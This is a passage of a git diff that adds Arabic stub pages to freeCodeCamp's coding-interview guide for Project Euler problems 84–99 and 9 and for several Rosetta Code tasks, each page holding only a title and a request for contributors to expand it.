+localeTitle: احتمالات الاحتكار
+---
+## المشكلة 84: احتمالات الاحتكار
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md
new file mode 100644
index 0000000000..0bd30bdd86
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting rectangles
+localeTitle: عد المستطيلات
+---
+## المشكلة 85: عد المستطيلات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md
new file mode 100644
index 0000000000..170eb229f7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md
@@ -0,0 +1,9 @@
+---
+title: Cuboid route
+localeTitle: الطريق المكعب
+---
+## المشكلة 86: طريق مكعبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md
new file mode 100644
index 0000000000..40e64c85f1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime power triples
+localeTitle: رئيس السلطة ثلاثيا
+---
+## مشكلة 87: رئيس السلطة ثلاثية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md
new file mode 100644
index 0000000000..82d7454fcf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Product-sum numbers
+localeTitle: أرقام مجموع المنتج
+---
+## المشكلة 88: أرقام مجموع المنتج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md
new file mode 100644
index 0000000000..4255bbcebe
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md
@@ -0,0 +1,9 @@
+---
+title: Roman numerals
+localeTitle: الأرقام الرومانية
+---
+## المشكلة 89: الأرقام الرومانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md
new file mode 100644
index 0000000000..22eeacec5b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md
@@ -0,0 +1,9 @@
+---
+title: Special Pythagorean triplet
+localeTitle: خاص ثلاثي فيثاغورس
+---
+## المشكلة 9: ثلاثية فيثاغورس خاصة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md
new file mode 100644
index 0000000000..afcb5ff863
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Cube digit pairs
+localeTitle: أزواج الأرقام المكعبة
+---
+## المشكلة 90: أزواج الأرقام المكعبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md
new file mode 100644
index 0000000000..94610dd663
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md
@@ -0,0 +1,9 @@
+---
+title: Right triangles with integer coordinates
+localeTitle: المثلثات الصحيحة مع إحداثيات عدد صحيح
+---
+## المشكلة 91: المثلثات الصحيحة مع إحداثيات عدد صحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md
new file mode 100644
index 0000000000..c63d7bfe76
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Square digit chains
+localeTitle: سلاسل مربع الرقم
+---
+## المشكلة 92: سلاسل أرقام مربعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md
new file mode 100644
index 0000000000..cb71f8e7a1
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md
@@ -0,0 +1,9 @@
+---
+title: Arithmetic expressions
+localeTitle: التعبيرات الحسابية
+---
+## المشكلة 93: التعبيرات الحسابية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md
new file mode 100644
index 0000000000..3dba591578
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost equilateral triangles
+localeTitle: مثلثات متساوية تقريبا
+---
+## المشكلة 94: مثلثات متساوية تقريبا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md
new file mode 100644
index 0000000000..cd039155f8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable chains
+localeTitle: سلاسل ودية
+---
+## المشكلة 95: سلاسل ودية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md
new file mode 100644
index 0000000000..6f1aad6930
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md
@@ -0,0 +1,9 @@
+---
+title: Su Doku
+localeTitle: سو دوكو
+---
+## مشكلة 96: سو دوكو
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md
new file mode 100644
index 0000000000..45a3c24173
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: Large non-Mersenne prime
+localeTitle: رأس كبير غير ميرسين
+---
+## المشكلة 97: كبير غير ميرسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md
new file mode 100644
index 0000000000..172f58f2df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Anagramic squares
+localeTitle: الساحات anagramic
+---
+## المشكلة 98: مربعات Anagramic
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md
new file mode 100644
index 0000000000..d98021fe66
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest exponential
+localeTitle: أكبر أسي
+---
+## المشكلة 99: أكبر الأس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/100-doors/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/100-doors/index.md
new file mode 100644
index 0000000000..29d2c197f8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/100-doors/index.md
@@ -0,0 +1,9 @@
+---
+title: 100 doors
+localeTitle: 100 باب
+---
+## 100 باب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/100-doors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/24-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/24-game/index.md
new file mode 100644
index 0000000000..eb1b683af9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/24-game/index.md
@@ -0,0 +1,9 @@
+---
+title: 24 game
+localeTitle: 24 لعبة
+---
+## 24 لعبة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/24-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md
new file mode 100644
index 0000000000..db8fd64e42
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: 9 billion names of God the integer
+localeTitle: 9 مليار اسم الله العدد الصحيح
+---
+## 9 مليار اسم الله العدد الصحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md
new file mode 100644
index 0000000000..cc90bdc99c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: ABC Problem
+localeTitle: مشكلة ABC
+---
+## مشكلة ABC
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md
new file mode 100644
index 0000000000..f4968c46b4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md
@@ -0,0 +1,9 @@
+---
+title: Abundant, deficient and perfect number classifications
+localeTitle: تصنيفات وفيرة ، ناقصة وكاملة
+---
+## تصنيفات وفيرة ، ناقصة وكاملة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md
new file mode 100644
index 0000000000..4fb943fc94
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md
@@ -0,0 +1,9 @@
+---
+title: Accumulator factory
+localeTitle: مصنع بطاريات
+---
+## مصنع بطاريات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md
new file mode 100644
index 0000000000..2ecc74bee6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Ackermann function
+localeTitle: وظيفة أكرمان
+---
+## وظيفة أكرمان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/align-columns/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/align-columns/index.md
new file mode 100644
index 0000000000..ced307c52e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/align-columns/index.md
@@ -0,0 +1,9 @@
+---
+title: Align columns
+localeTitle: محاذاة الأعمدة
+---
+## محاذاة الأعمدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/align-columns/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md
new file mode 100644
index 0000000000..da39cafcc6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable pairs
+localeTitle: أزواج ودية
+---
+## أزواج ودية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md
new file mode 100644
index 0000000000..d071413639
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Mode
+localeTitle: المتوسطات / وضع
+---
+## المتوسطات / وضع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md
new file mode 100644
index 0000000000..33a4b366e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Pythagorean means
+localeTitle: المتوسطات / فيثاغوري يعني
+---
+## المتوسطات / فيثاغوري يعني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md
new file mode 100644
index 0000000000..3e208cd2fd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Root mean square
+localeTitle: المتوسطات / الجذر يعني مربع
+---
+## المتوسطات / الجذر يعني مربع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md
new file mode 100644
index 0000000000..f6ab8b8051
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Babbage problem
+localeTitle: مشكلة باباج
+---
+## مشكلة باباج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md
new file mode 100644
index 0000000000..76d23159bc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced brackets
+localeTitle: الأقواس المتوازنة
+---
+## الأقواس المتوازنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md
new file mode 100644
index 0000000000..4720ac6611
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md
@@ -0,0 +1,9 @@
+---
+title: Circles of given radius through two points
+localeTitle: دوائر نصف قطرها معين من خلال نقطتين
+---
+## دوائر نصف قطرها معين من خلال نقطتين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md
new file mode 100644
index 0000000000..4215923100
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Closest-pair problem
+localeTitle: أقرب مشكلة الزوج
+---
+## أقرب مشكلة الزوج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/combinations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/combinations/index.md
new file mode 100644
index 0000000000..24ed5b8b4d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/combinations/index.md
@@ -0,0 +1,9 @@
+---
+title: Combinations
+localeTitle: تركيبات
+---
+## تركيبات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/combinations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md
new file mode 100644
index 0000000000..605f2244fa
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md
@@ -0,0 +1,9 @@
+---
+title: Comma quibbling
+localeTitle: Comma quibbling
+---
+## Comma quibbling
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md
new file mode 100644
index 0000000000..c6af44f5fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Compare a list of strings
+localeTitle: مقارنة قائمة من السلاسل
+---
+## مقارنة قائمة من السلاسل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md
new file mode 100644
index 0000000000..62756baef0
--- /dev/null
